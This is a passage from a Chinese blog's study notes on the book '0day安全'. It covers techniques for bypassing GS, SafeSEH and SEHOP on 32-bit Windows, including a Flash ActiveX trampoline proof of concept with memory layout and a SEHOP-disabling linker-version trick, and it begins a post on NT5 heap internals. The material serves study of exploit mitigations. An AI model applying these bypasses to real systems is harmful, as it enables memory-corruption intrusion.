<li><strong>改函数指针</strong>。GS 很难防基于改写函数指针的攻击</li>
<li><strong>异常处理</strong>。GS 并不保护 SEH，所以可以在 cookie 检查之前，用覆盖 SEH 加制造异常来提前劫持流程。<code>strcat</code> 取到非法地址触发异常，根本等不到函数返回那次 cookie 检查</li>
<li><strong>虚函数</strong>。只有函数返回时才检查栈，那就在返回前劫持。覆写 C++ 对象的虚表指针让它指向一个 <code>pop/pop/ret</code> 跳板，在调用虚函数的那一刻就跳进 shellcode。虚表攻击这部分放到<a href="/zh-cn/posts/reread-0day-4-dep-and-aslr/">第四篇</a>细讲</li>
<li><strong>正面硬刚</strong>。既然 cookie = <code>.data</code> 原始 cookie <code>xor</code> ebp，要是溢出能同时改掉栈里的 cookie 和 <code>.data</code> 里的原始 cookie，让它俩算出来还一致，检查就过了。书里构造了一个 <code>i</code> 为负数时能指到 <code>.data</code> 的例子来做这件事</li>
</ol><blockquote><p>书里”利用未保护内存突破 GS”那个例子（<code>char arry[4]</code> 本该不受保护却被保护了）我当年没搞清楚。按说 4 字节缓冲区不该加 GS，实测却有。现在回头看，是因为 GS 的判定不只看大小，<code>arry</code> 被当作数组、而且它的地址被取用(传给 strcpy)，编译器的启发式就认为它有风险而加了保护。所以”缓冲区不大于 4 字节不保护”这条不能机械套。</p></blockquote><hr /></section></section>
<section><h2>SafeSEH 校验异常处理函数<a href="#safeseh-校验异常处理函数"><span>#</span></a></h2><p>GS 既然管不住 SEH，微软就专门给 SEH 加了 SafeSEH。覆盖 SEH 时，它会在真正调用处理函数前做校验：</p><ul>
<li>检查异常处理链是否位于当前栈中，不在就终止调用</li>
<li>检查处理函数指针是否指向当前栈中，指向栈中就终止调用（shellcode 常在栈上，这一条就挺致命）</li>
<li>前两项过了，再调 <code>RtlIsValidHandler()</code> 验证处理函数的有效性：
<ul>
<li>如果处理函数地址落在某个加载模块的内存范围内：
<ul>
<li>该模块设了 <code>IMAGE_DLLCHARACTERISTICS_NO_SEH</code>？是则校验失败</li>
<li>该模块有安全 SEH 表？有则拿处理函数地址去表里匹配，匹配上才算成功</li>
<li>该模块是纯 IL(.NET)？是则校验失败</li>
<li>处理函数在不可执行页上？是则看 DEP，没开 DEP 返回成功，开了就抛访问违例</li>
</ul>
</li>
<li>如果处理函数地址在所有加载模块之外：
<ul>
<li>在不可执行页上？看 DEP，同上</li>
<li>系统是否允许跳到模块外执行？允许返回成功，否则失败</li>
</ul>
</li>
</ul>
</li>
</ul><p>下面这张是当年调试时截的 <code>RtlIsValidHandler</code> 判断过程里找到的跳板（<code>CALL [EBP+0xC]</code>）：</p><p></p><figure><img src="/images/DNAHQe.png" alt="找到的 CALL [EBP+0xC] 跳板" /><figcaption>找到的 CALL [EBP+0xC] 跳板</figcaption></figure><p></p><section><h3>绕过 SafeSEH 的三条路<a href="#绕过-safeseh-的三条路"><span>#</span></a></h3><p>顺着上面的校验树，缺口也就出来了：</p><ol>
<li><strong>把 shellcode 放堆里</strong>。即使 SEH 校验判定处理函数”无效”，在某些路径下仍会被调用；更稳的是栈溢出只负责把 SEH 指向堆里的 shellcode，绕开对栈上地址的那条检查</li>
<li><strong>借一个没开 SafeSEH 的模块当跳板</strong>。VC6 编译的 DLL 默认不开 SafeSEH。在这种模块里找一条 <code>pop/pop/ret</code>，用它的地址覆盖 SEH 处理函数，校验看到地址落在”一个没有安全 SEH 表的模块”里，判定通过，执行 <code>pop/pop/ret</code> 后 <code>ret</code> 又把我们带回 shellcode。（VC6 的 DLL 默认加载基址 <code>0x10000000</code> 带 <code>0x00</code>，会被 strcpy 截断，所以要用 <code>/base:"0x11120000"</code> 改一下基址）</li>
<li><strong>借加载模块以外的地址</strong>。在模块范围外的内存里找 <code>call/jmp dword ptr[ebp+N]</code> 这类指令当跳板，绕过”必须是有效模块内句柄”的检查</li>
</ol><div><div><div></div><div>注意</div></div><div><p>实现里有两个坑。一是 VS2008 编译的 <code>__try{}</code> 函数会在 <code>Security Cookie+4</code> 处压一个 <code>-2</code>(VC6 是 <code>-1</code>)作标记，异常处理时会改这个值，可能破坏 shellcode，所以跳板后面要垫 8 个 NOP；二是跳板 <code>ret</code> 回来的地方和 shellcode 本体之间常差几个字节，需要一次短跳(有时还要再一次长跳)跳进真正的入口。</p></div></div></section><section><h3>浏览器版，借 Flash ActiveX 绕 SafeSEH<a href="#浏览器版借-flash-activex-绕-safeseh"><span>#</span></a></h3><p>第 2 条的浏览器版本。Flash Player ActiveX 在 <code>9.0.124</code> 之前不支持 SafeSEH，所以只要在这个控件里找到合适的跳板地址，就能绕过 SafeSEH：</p><ul>
<li>自己写一个有栈溢出的 MFC ActiveX 控件，用网页调用它触发溢出</li>
<li>溢出盖掉 SEH 后，跳进 Flash 控件里找好的跳板</li>
<li>从跳板再跳回栈上的 shellcode</li>
</ul><p>当年实测，溢出字符串起始 <code>0x01DCF4FC</code>，离栈顶最近的异常函数地址在 <code>0x01DCF610</code>，填 <code>0x114</code>(276 字节)刚好盖到处理函数地址，第 277-280 字节放跳板。用 OllyFindAddr 的 <code>Find CALL/JMP[EBP+N]</code> 找到 <code>0x300B2D1C</code> 的 <code>CALL [EBP+0xC]</code>(就是上面那张图)。跳板会跳到地址前 4 字节处，所以在那放一个短跳，shellcode 接在后面：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>01DCF60C   EB </span><span>06</span><span><span>    </span><span>jmp</span><span> short 01DCF614   </span></span><span>; 跳过 4 字节到 shellcode</span></div></div><div><div><div>2</div></div><div><span>01DCF60E   </span><span>90</span><span> </span><span>90</span><span><span>    </span><span>nop</span><span> </span><span>nop</span></span></div></div><div><div><div>3</div></div><div><span>01DCF610   1C </span><span>2D</span><span>    (跳板地址低位)</span></div></div><div><div><div>4</div></div><div><span>01DCF612   </span><span>0B</span><span> </span><span>30</span><span>    (跳板地址高位)</span></div></div><div><div><div>5</div></div><div><span>01DCF614   </span><span>90</span><span>       </span><span>; shellcode 从这开始</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>POC 页面用 JavaScript 把一串 <code>邐</code>(NOP)和跳板地址拼成 Unicode 字符串喂给控件的 <code>test()</code>，触发除 0 异常后在跳板断下，成功跳进 shellcode。</p><hr /></section></section>
<section><h2>SEHOP 和整条链的完整性<a href="#sehop-和整条链的完整性"><span>#</span></a></h2><p>SafeSEH 校验单个处理函数，SEHOP 换个角度，检查整条 SEH 链有没有被破坏。核心是看链上最后一个处理函数是不是系统固定的那个终极异常处理函数。如果是，说明链没断；如果不是，说明中间被覆盖过，可能发生了 SEH 覆盖攻击，就不执行当前处理函数。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>if</span><span> (</span><span>process_flags</span><span> </span><span>&amp;</span><span> </span><span><span>0x</span><span>40</span></span><span> </span><span>==</span><span> </span><span>0</span><span>)</span><span>  // 有 SEH 记录才检测</span></div></div><div><div><div>2</div></div><div><span>{</span></div></div><div><div><div>3</div></div><div><span>    </span><span>if</span><span> (</span><span>record</span><span> </span><span>!=</span><span> </span><span><span>0x</span><span>FFFFFFFF</span></span><span>)</span></div></div><div><div><div>4</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>5</div></div><div><span>        </span><span>do</span></div></div><div><div><div>6</div></div><div><span><span>        </span></span><span>{</span></div></div><div><div><div>7</div></div><div><span>            </span><span>if</span><span> (</span><span>record</span><span> </span><span>&lt;</span><span> </span><span>stack_bottom</span><span> </span><span>||</span><span> </span><span>record</span><span> </span><span>&gt;</span><span> </span><span>stack_top</span><span>)</span><span>  // 记录必须在栈中</span></div></div><div><div><div>8</div></div><div><span>                </span><span>goto</span><span><span> </span><span>corruption</span><span>;</span></span></div></div><div><div><div>9</div></div><div><span>            </span><span>if</span><span> ((</span><span>char</span><span> </span><span>*</span><span>)</span><span>record</span><span> </span><span>+</span><span> </span><span>sizeof</span><span>(</span><span>EXCEPTION_REGISTRATION</span><span>) </span><span>&gt;</span><span> </span><span>stack_top</span><span>)</span><span>  // 必须完整在栈中</span></div></div><div><div><div>10</div></div><div><span>                </span><span>goto</span><span><span> </span><span>corruption</span><span>;</span></span></div></div><div><div><div>11</div></div><div><span>            </span><span>if</span><span> ((</span><span>record</span><span> </span><span>&amp;</span><span> </span><span>3</span><span>) </span><span>!=</span><span> </span><span>0</span><span>)</span><span>  // 必须 4 字节对齐</span></div></div><div><div><div>12</div></div><div><span>                </span><span>goto</span><span><span> </span><span>corruption</span><span>;</span></span></div></div><div><div><div>13</div></div><div><span>            </span><span>handler</span><span> </span><span>=</span><span> </span><span>record</span><span>-&gt;</span><span>handler</span><span>;</span></div></div><div><div><div>14</div></div><div><span>            </span><span>if</span><span> (</span><span>handler</span><span> </span><span>&gt;=</span><span> </span><span>stack_bottom</span><span> </span><span>&amp;&amp;</span><span> </span><span>handler</span><span> </span><span>&lt;</span><span> </span><span>stack_top</span><span>)</span><span>  // 处理函数不能在栈中</span></div></div><div><div><div>15</div></div><div><span>                </span><span>goto</span><span><span> </span><span>corruption</span><span>;</span></span></div></div><div><div><div>16</div></div><div><span>            </span><span>record</span><span> </span><span>=</span><span> </span><span>record</span><span>-&gt;</span><span>next</span><span>;</span></div></div><div><div><div>17</div></div><div><span><span>        </span></span><span>} </span><span>while</span><span> (</span><span>record</span><span> </span><span>!=</span><span> </span><span><span>0x</span><span>FFFFFFFF</span></span><span>);</span><span>  // 遍历整条链</span></div></div><div><div><div>18</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>19</div></div><div><span>    </span><span>if</span><span> ((</span><span>TEB</span><span>-&gt;</span><span>word_at_offset_0xFCA</span><span> </span><span>&amp;</span><span> </span><span><span>0x</span><span>200</span></span><span>) </span><span>!=</span><span> </span><span>0</span><span>)</span></div></div><div><div><div>20</div></div><div><span><span>    </span></span><span>{</span></div></div><div><div><div>21</div></div><div><span>        </span><span>if</span><span> (</span><span>handler</span><span> </span><span>!=</span><span> </span><span>&amp;</span><span>FinalExceptionHandler</span><span>)</span><span>  // 核心：最后一个必须是终极处理函数</span></div></div><div><div><div>22</div></div><div><span>            </span><span>goto</span><span><span> </span><span>corruption</span><span>;</span></span></div></div><div><div><div>23</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>24</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><section><h3>绕过思路<a href="#绕过思路"><span>#</span></a></h3><ul>
<li><strong>直接打返回地址或虚函数</strong>。如果函数开了 SEHOP 但没开 GS(或者刚好没加 GS)，直接攻击返回地址即可；SEHOP 也不保护虚函数表，攻击虚函数照样成</li>
<li><strong>借没开 SEHOP 的模块</strong>。系统会按 PE 头里的 <code>MajorLinkerVersion</code>/<code>MinorLinkerVersion</code> 判断是否为某程序禁用 SEHOP（微软给一些加密壳如穿山甲 Armadillo 禁了）。把这两个值设成 <code>0x53</code> 和 <code>0x52</code> 就能模拟成 Armadillo 加壳程序，从而禁用 SEHOP</li>
<li><strong>伪造整条 SEH 链(前提是 ASLR 没开)</strong>。既然 SEHOP 就看”最后一个是不是终极处理函数”，那我就伪造一条链，让它末尾正好接上系统的终极处理函数地址，造成”链没断”的假象。配合一个没开 SafeSEH 的模块里的 <code>pop/pop/ret</code> 一起用，就能同时骗过 SafeSEH 和 SEHOP</li>
</ul><blockquote><p>一个实现细节，Win7 起 <code>PEB_LDR_DATA</code> 里第二个模块变成了 KernelBase，所以<a href="/zh-cn/posts/reread-0day-1-stack-overflow-and-shellcode/">第一篇</a>那段”取第二个节点当 kernel32”的 shellcode 要在中间加一条 <code>mov ecx, [ecx]</code>(机器码 <code>\x8B\x09</code>)多走一个节点，才能在 Win7 上拿到 kernel32。</p></blockquote><hr /></section></section>
<section><h2>今天再看<a href="#今天再看"><span>#</span></a></h2><p>这一整篇，到 64 位时代基本改头换面了。</p><p>最根本的变化是，<strong>x64 上 SEH 不再放在栈里</strong>。64 位用的是表驱动异常处理，每个函数的 unwind 信息和异常处理器登记在 PE 的 <code>.pdata</code>/<code>.xdata</code> 里，是只读的，运行时栈上根本没有那条可以被溢出覆盖的 SEH 链。所以”覆盖 SEH 记录”这整类攻击，连同上面讲的 SafeSEH、SEHOP，都只在 32 位进程里才有意义。今天还能碰到 32 位 SEH 覆盖的场合，基本就是老的 32 位程序和某些嵌入式/工控软件。</p><p>GS cookie 还在，而且一直在加强，但它从来不是单独防线，只是纵深里的一层。真正让”改返回地址”这条路在现代 64 位进程上基本走不通的，是硬件强制的影子栈(Intel CET / Windows Hardware-enforced Stack Protection)，<code>ret</code> 时 CPU 拿影子栈里那份返回地址对一下，对不上直接异常，改了栈上的返回地址也没用。</p><p>而第 3 点那个”GS 管不住虚函数指针”的缺口，恰恰是现代利用的主战场，所以微软专门加了 CFG(Control Flow Guard)和更严的 XFG 来管间接调用的目标。这块和虚表攻击一起，放到下一篇讲 DEP/ASLR 时再接着说。</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lumysia.net/zh-cn/posts/reread-0day-2-nt5-heap/</id>
      <title type="text">重读《0day安全》（二）NT5 堆、DWORD SHOOT 和第一代堆保护</title>
      <published>2020-10-20T00:00:00.000Z</published>
      <updated>2020-10-20T00:00:00.000Z</updated>
      <author><name>Livia</name></author>
      <link rel="alternate" href="https://blog.lumysia.net/zh-cn/posts/reread-0day-2-nt5-heap/"/>
      <summary type="text">在 Windows 2000 上调试空表和快表，用 unlink 做 DWORD SHOOT 改 PEB 里的函数指针，再看 XP SP2 之后的 safe unlink、heap cookie 和元数据加密。</summary>
      <content type="html"><![CDATA[<blockquote><p>《重读〈0day安全〉》系列的第二篇，是我 2020 年跟着《0day安全：软件漏洞分析技术（第2版）》（failwest 等著）做实验时的笔记，实验和代码来自这本书，内存观察是我自己调试记下的。2026 年整理时改了几处错误，末尾加了”今天再看”。</p></blockquote>
<p>Windows的堆，从来都是一个乱糟糟的地方，管理方法也非常奇怪</p>
<p>声明：实验环境为 Windows 2000</p>
<section><h2>堆的介绍<a href="#堆的介绍"><span>#</span></a></h2><section><h3>与栈的区别<a href="#与栈的区别"><span>#</span></a></h3><ul>
<li>堆是由程序员使用malloc等函数向操作系统申请的一块内存空间，它能否成功与操作系统的状态有极大的关系，与管理整齐的栈不同，它的管理以及分配算法都是非常奇特的</li>
<li>堆在释放时由程序员使用free或delete释放，而栈是系统自动释放的</li>
<li>堆的地址范围变化很大，而栈的地址比较固定，在 2000/XP 上主线程的栈一般就在<code>0x0012XXXX</code></li>
<li>堆的地址由低向高移动，栈的地址由高向低移动</li>
</ul></section><section><h3>堆的安全<a href="#堆的安全"><span>#</span></a></h3><ul>
<li>堆是杂乱无章的，所以它的利用相对于栈会困难很多，而堆的管理微软从未公开，研究有一定困难</li>
<li>在Windows2000 - Windows XP SP1，堆管理未考虑安全因素，容易利用</li>
<li>在Windows XP SP2 - Windows 2003，加入了块首的cookie，指针验证等</li>
<li>Windows Vista - Windows 7，堆管理的安全，稳定和效率都改变巨大</li>
</ul></section><section><h3>堆的数据结构和管理策略<a href="#堆的数据结构和管理策略"><span>#</span></a></h3><section><h4>两种堆结构<a href="#两种堆结构"><span>#</span></a></h4><ul>
<li>堆块：堆区的内存按不同大小组织成块，以堆块为单位进行标识。
<ul>
<li>块首：本块的大小，是否占用</li>
<li>块身：数据区</li>
</ul>
</li>
<li>堆表：位于堆区的起始位置，可索引堆区的所有重要信息，包括堆块的大小，位置，是否占用。堆表往往用不止一种数据结构来表示。</li>
<li>Windows中，占用态的堆块只有占用它的程序索引，堆表只索引空闲态的堆块。</li>
<li>Windows中重要的堆表：
<ul>
<li>空闲双向链表：(Freelist)(空表)
<ul>
<li>空表包含128项，第二项<code>freelist[1]</code>标识8字节的空堆空间，之后每项逐个递增8字节</li>
<li><code>空闲堆块大小(包含堆首) = 索引项 * 8(字节)</code></li>
<li><code>freelist[0]</code>标识了所有大小大于1024字节的堆块(小于等于512KB)，它们按从小到大的顺序依次升序排列</li>
</ul>
</li>
<li>快速单向链表(Lookaside)(快表)
<ul>
<li>快表包含128条数据，组织结构与空表类似，但是单链表</li>
<li>总被初始化为空，每条快表最多4个节点</li>
<li>每个节点都被初始化为已占用，所以不会发生堆块合并现象</li>
</ul>
</li>
</ul>
</li>
</ul></section><section><h4>管理策略<a href="#管理策略"><span>#</span></a></h4><ul>
<li>堆块分配
<ul>
<li>零号空表分配：按照大小升序链着大小不同的空闲块，从<code>free[0]</code>反向查找最后一个块，再正向搜索最小能够满足要求的空闲堆块进行分配</li>
<li>普通空表分配：寻找最优空闲空间分配，其次找次优</li>
<li>快表分配：寻找大小匹配的表，从堆表卸下，返回一个指向堆块的指针给程序</li>
<li>当空表无法找到最优堆块时，一个稍大些的块会被用于分配，此为次优分配，会先从大块中按照请求的大小精确地割出一块进行分配，然后给剩下的部分重新标注块首，连入空表。</li>
<li>快表只有精确匹配时才会分配，所以不存在以上现象</li>
</ul>
</li>
<li>堆块释放
<ul>
<li>将堆块状态改为空闲，链入相应的堆表。所有释放的块将链入堆表的末尾，分配的时候也先从堆表末尾拿。</li>
</ul>
</li>
<li>堆块合并
<ul>
<li>反复申请和释放堆区将产生很多内存碎片，为了合理有效地利用内存将合并一些堆块</li>
<li>这个操作包含两个块从空闲链表中卸下，合并堆块，调整合并后的大块的块首信息，将新块重新链入空闲链表</li>
<li>堆区还将进行内存紧缩(shrink the compact)由<code>RtlCompactHeap</code>执行，将对整个堆进行调整，尽量合并可用的碎片</li>
</ul>
</li>
<li>堆块分配和释放的策略
<ul>
<li>小块(SIZE&lt;1KB)
<ul>
<li>分配
<ul>
<li>首先进行快表分配，其次进行普通空表分配</li>
<li>若失败，使用堆缓存(heap cache)分配</li>
<li>若堆缓存分配失败，内存紧缩后尝试分配</li>
<li>若无法分配，返回NULL</li>
</ul>
</li>
<li>释放
<ul>
<li>优先链入快表(只能链入4个空闲块)</li>
<li>若快表满，链入相应空表</li>
</ul>
</li>
</ul>
</li>
<li>大块(1KB&lt;=SIZE&lt;512KB)
<ul>
<li>分配
<ul>
<li>使用堆缓存分配</li>
<li>若堆缓存分配失败，使用free[0]中的大块进行分配</li>
</ul>
</li>
<li>释放
<ul>
<li>优先将它放入堆缓存</li>
<li>若堆缓存满，将链入freelists[0]</li>
</ul>
</li>
</ul>
</li>
<li>巨块(SIZE&gt;=512KB)
<ul>
<li>分配：虚分配(并非从堆区分配)</li>
<li>释放：直接释放，无堆表操作</li>
</ul>
</li>
</ul>
</li>
</ul><hr /></section></section></section>
<section><h2>实践<a href="#实践"><span>#</span></a></h2><div><div><div></div><div>注意</div></div><div><p>血的教训：无论是空表还是快表，它<code>Blink/Flink</code>指针指向的<strong>永远</strong>是下/上一个节点的<code>Blink/Flink</code></p></div></div><section><h3>测试空表<a href="#测试空表"><span>#</span></a></h3><section><h4>代码<a href="#代码"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#include</span><span> </span><span>&lt;windows.h&gt;</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>void</span><span> </span><span>main</span><span>()</span></div></div><div><div><div>4</div></div><div><span>{</span></div></div><div><div><div>5</div></div><div><span>  </span><span>HLOCAL</span><span> </span><span>h1</span><span>, </span><span>h2</span><span>, </span><span>h3</span><span>, </span><span>h4</span><span>, </span><span>h5</span><span>, </span><span>h6</span><span>;</span></div></div><div><div><div>6</div></div><div><span>  </span><span>HANDLE</span><span> </span><span>hp</span><span>;</span></div></div><div><div><div>7</div></div><div><span>  </span><span>hp</span><span> </span><span>=</span><span> </span><span>HeapCreate</span><span>(</span><span>0</span><span>, </span><span><span>0x</span><span>1000</span></span><span>, </span><span><span>0x</span><span>10000</span></span><span>);</span></div></div><div><div><div>8</div></div><div><span>  </span><span>__asm</span><span> </span><span>int</span><span> </span><span>3</span><span>;</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span>  </span><span>h1</span><span> </span><span>=</span><span> </span><span>HeapAlloc</span><span>(</span><span>hp</span><span>, </span><span>HEAP_ZERO_MEMORY</span><span>, </span><span>3</span><span>);</span></div></div><div><div><div>11</div></div><div><span>  </span><span>h2</span><span> </span><span>=</span><span> </span><span>HeapAlloc</span><span>(</span><span>hp</span><span>, </span><span>HEAP_ZERO_MEMORY</span><span>, </span><span>5</span><span>);</span></div></div><div><div><div>12</div></div><div><span>  </span><span>h3</span><span> </span><span>=</span><span> </span><span>HeapAlloc</span><span>(</span><span>hp</span><span>, </span><span>HEAP_ZERO_MEMORY</span><span>, </span><span>6</span><span>);</span></div></div><div><div><div>13</div></div><div><span>  </span><span>h4</span><span> </span><span>=</span><span> </span><span>HeapAlloc</span><span>(</span><span>hp</span><span>, </span><span>HEAP_ZERO_MEMORY</span><span>, </span><span>8</span><span>);</span></div></div><div><div><div>14</div></div><div><span>  </span><span>h5</span><span> </span><span>=</span><span> </span><span>HeapAlloc</span><span>(</span><span>hp</span><span>, </span><span>HEAP_ZERO_MEMORY</span><span>, </span><span>19</span><span>);</span></div></div><div><div><div>15</div></div><div><span>  </span><span>h6</span><span> </span><span>=</span><span> </span><span>HeapAlloc</span><span>(</span><span>hp</span><span>, </span><span>HEAP_ZERO_MEMORY</span><span>, </span><span>24</span><span>);</span></div></div><div><div><div>16</div></div><div>
</div></div><div><div><div>17</div></div><div><span><span>  </span></span><span>//free block and prevent coaleses</span></div></div><div><div><div>18</div></div><div><span>  </span><span>HeapFree</span><span>(</span><span>hp</span><span>, </span><span>0</span><span>, </span><span>h1</span><span>);</span><span> // free to freelist[2]</span></div></div><div><div><div>19</div></div><div><span>  </span><span>HeapFree</span><span>(</span><span>hp</span><span>, </span><span>0</span><span>, </span><span>h3</span><span>);</span><span> // free to freelist[2]</span></div></div><div><div><div>20</div></div><div><span>  </span><span>HeapFree</span><span>(</span><span>hp</span><span>, </span><span>0</span><span>, </span><span>h5</span><span>);</span><span> // free to freelist[4]</span></div></div><div><div><div>21</div></div><div>
</div></div><div><div><div>22</div></div><div><span>  </span><span>HeapFree</span><span>(</span><span>hp</span><span>, </span><span>0</span><span>, </span><span>h4</span><span>);</span><span> // coalese h3 h4 h5 link the large block to freelist[8]</span></div></div><div><div><div>23</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>观察<a href="#观察"><span>#</span></a></h4><section><h5>INT异常调起调试器，未运行<a href="#int异常调起调试器未运行"><span>#</span></a></h5><ul>
<li><code>HeapCreate()</code>创建堆区后，将堆区指针交给EAX，观察到此时地址为<code>0x360000</code></li>
<li>查看内存区域<code>0x360000</code>，依次向后的信息是(抄的，反正我也不知道这几个结构具体多大)段表索引(SegmentList)，虚表索引(VirtualAllocationList)，空表使用标识(freelist usage bitmap)和空表索引区</li>
<li>在偏移<code>0x178</code>处找到了空表索引，其内容是<code>0x00360688</code>，说明<code>freelist[0]</code>指向了偏移为<code>0x688</code>的地方，我们来康康这个地方存了什么</li>
<li>这个地方存了<code>0x00360178</code>，妙啊，指向了<code>freelist[0]</code>，绕了一圈指向了自己，而这个<code>freelist[0]</code>看来指向的就是唯一一个空闲的堆区，一般称为“尾块”</li>
<li>根据堆块的结构(在下面嘞)易得，实际这个堆块开始于<code>0x00360680</code>，看起来堆块指针越过了堆块块首，直接指向了数据区</li>
<li><code>0x1-0x2</code>字节是自身大小，此时这个值是<code>0x0130</code>，说明这个堆块的大小是<code>0x130</code>个堆单位(每单位8字节)</li>
<li><code>0x3-0x4</code>字节是前一个堆块大小，这个值是<code>0x08</code>(???不是说好了唯一???)</li>
<li><code>0x5</code>字节是索引，此时为0</li>
<li><code>0x6</code>字节是Flag，此时这是1</li>
<li><code>0x7</code>是保留字节，是0</li>
<li><code>0x8</code>字节是标签索引(调试态)，不知道干啥的，是0</li>
<li><code>0x9-0xC</code>(空堆块专属)字节是前一个空堆块的地址，是<code>0x00360178</code></li>
<li><code>0xD-0x10</code>(空堆块专属)字节是后一个空堆块的地址，同样是<code>0x00360178</code></li>
</ul></section><section><h5>运行六次分配<a href="#运行六次分配"><span>#</span></a></h5><ul>
<li><code>0x00360680-0x00360687</code>为h1块首，<code>0x00360688-0x0036068F</code>是8个字节的块身，内容是<code>00 00 00 00 78 01 36 00</code></li>
<li><code>0x00360690-0x00360697</code>为h2块首，<code>0x00360698-0x0036069F</code>是8个字节的块身，内容是<code>00 00 00 00 00 01 36 00</code></li>
<li><code>0x003606A0-0x003606A7</code>为h3块首，<code>0x003606A8-0x003606AF</code>是8个字节的块身，内容是<code>00 00 00 00 00 00 36 00</code></li>
<li><code>0x003606B0-0x003606B7</code>为h4块首，<code>0x003606B8-0x003606BF</code>是8个字节的块身，内容是<code>00 00 00 00 00 00 00 00</code></li>
<li><code>0x003606C0-0x003606C7</code>为h5块首，<code>0x003606C8-0x003606DF</code>是24个字节的块身，内容是<code>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</code></li>
<li><code>0x003606E0-0x003606E7</code>为h6块首，<code>0x003606E8-0x003606FF</code>是24个字节的块身，内容是<code>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</code></li>
</ul></section><section><h5>释放堆<a href="#释放堆"><span>#</span></a></h5><ul>
<li>第一次释放的是h1，带块首一共16字节，所以连接到了<code>freeList[2]</code>，也就是<code>0x188</code>的位置，此时内容为<code>0x00360688</code></li>
<li>第二次释放的h3同样是16字节，同样连接到了<code>freeList[2]</code>，细节不再描述</li>
<li>第三次释放的h5是24字节块身加8字节块首，一共32字节，连接到了<code>freeList[4]</code></li>
<li>第四次释放时，h3，h4，h5相邻，所以它们合并了，其中h3h4的大小各是2个堆单位，h5则是4个，合并后共计8个堆单位(64字节，含一个块首)，按<code>大小 = 索引 * 8</code>放入<code>freeList[8]</code></li>
</ul></section></section><section><h4>结论<a href="#结论"><span>#</span></a></h4><ul>
<li>堆表中包含的信息依次是段表索引(SegmentList)，虚表索引(VirtualAllocationList)，空表使用标识(freelist usage bitmap)和空表索引区</li>
<li>当一个堆刚刚被初始化时，它的堆块状况
<ul>
<li>只有一个空闲态的大块，这个块被称为“尾块”</li>
<li>之后是快表</li>
<li>Freelist[0]指向“尾块”</li>
<li>除了零号空表索引外，区域各项索引都指向自己，这意味着其余所有的空闲链表中都没有空闲块</li>
</ul>
</li>
<li>占用态块首</li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>struct</span><span> </span><span>Flag</span></div></div><div><div><div>2</div></div><div><span>{</span></div></div><div><div><div>3</div></div><div><span>  </span><span>BIT</span><span> </span><span>Busy</span><span>;</span></div></div><div><div><div>4</div></div><div><span>  </span><span>BIT</span><span> </span><span>ExtraPresent</span><span>;</span></div></div><div><div><div>5</div></div><div><span>  </span><span>BIT</span><span> </span><span>FillPattern</span><span>;</span></div></div><div><div><div>6</div></div><div><span>  </span><span>BIT</span><span> </span><span>VirtualAlloc</span><span>;</span></div></div><div><div><div>7</div></div><div><span>  </span><span>BIT</span><span> </span><span>LastEntry</span><span>;</span></div></div><div><div><div>8</div></div><div><span>  </span><span>BIT</span><span> </span><span>FFU1</span><span>;</span></div></div><div><div><div>9</div></div><div><span>  </span><span>BIT</span><span> </span><span>FFU2</span><span>;</span></div></div><div><div><div>10</div></div><div><span>  </span><span>BIT</span><span> </span><span>NoCoalesce</span><span>;</span></div></div><div><div><div>11</div></div><div><span>}</span></div></div><div><div><div>12</div></div><div><span>struct</span><span> </span><span>BusyHeapHeadBlock</span></div></div><div><div><div>13</div></div><div><span>// 8 Byte Head</span></div></div><div><div><div>14</div></div><div><span>{</span></div></div><div><div><div>15</div></div><div><span>  </span><span>USHORT</span><span> </span><span>SelfSize</span><span>;</span></div></div><div><div><div>16</div></div><div><span>  </span><span>USHORT</span><span> </span><span>PreviousChunkSize</span><span>;</span></div></div><div><div><div>17</div></div><div><span>  </span><span>UCHAR</span><span> </span><span>SegmentIndex</span><span>;</span></div></div><div><div><div>18</div></div><div><span>  </span><span>struct</span><span> </span><span>Flag</span><span> </span><span>Flags</span><span>;</span></div></div><div><div><div>19</div></div><div><span>  </span><span>UCHAR</span><span> </span><span>UnusedBytes</span><span>;</span></div></div><div><div><div>20</div></div><div><span>  </span><span>UCHAR</span><span> </span><span>TagIndex_Debug</span><span>;</span></div></div><div><div><div>21</div></div><div><span>}</span></div></div><div><div><div>22</div></div><div>
</div></div><div><div><div>23</div></div><div><span>// Data After...</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li>空闲态块首</li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>struct</span><span> </span><span>Flag</span></div></div><div><div><div>2</div></div><div><span>{</span></div></div><div><div><div>3</div></div><div><span>  </span><span>BIT</span><span> </span><span>Busy</span><span>;</span></div></div><div><div><div>4</div></div><div><span>  </span><span>BIT</span><span> </span><span>ExtraPresent</span><span>;</span></div></div><div><div><div>5</div></div><div><span>  </span><span>BIT</span><span> </span><span>FillPattern</span><span>;</span></div></div><div><div><div>6</div></div><div><span>  </span><span>BIT</span><span> </span><span>VirtualAlloc</span><span>;</span></div></div><div><div><div>7</div></div><div><span>  </span><span>BIT</span><span> </span><span>LastEntry</span><span>;</span></div></div><div><div><div>8</div></div><div><span>  </span><span>BIT</span><span> </span><span>FFU1</span><span>;</span></div></div><div><div><div>9</div></div><div><span>  </span><span>BIT</span><span> </span><span>FFU2</span><span>;</span></div></div><div><div><div>10</div></div><div><span>  </span><span>BIT</span><span> </span><span>NoCoalesce</span><span>;</span></div></div><div><div><div>11</div></div><div><span>}</span></div></div><div><div><div>12</div></div><div><span>struct</span><span> </span><span>FreeHeapHeadBlock</span></div></div><div><div><div>13</div></div><div><span>// 16 Byte 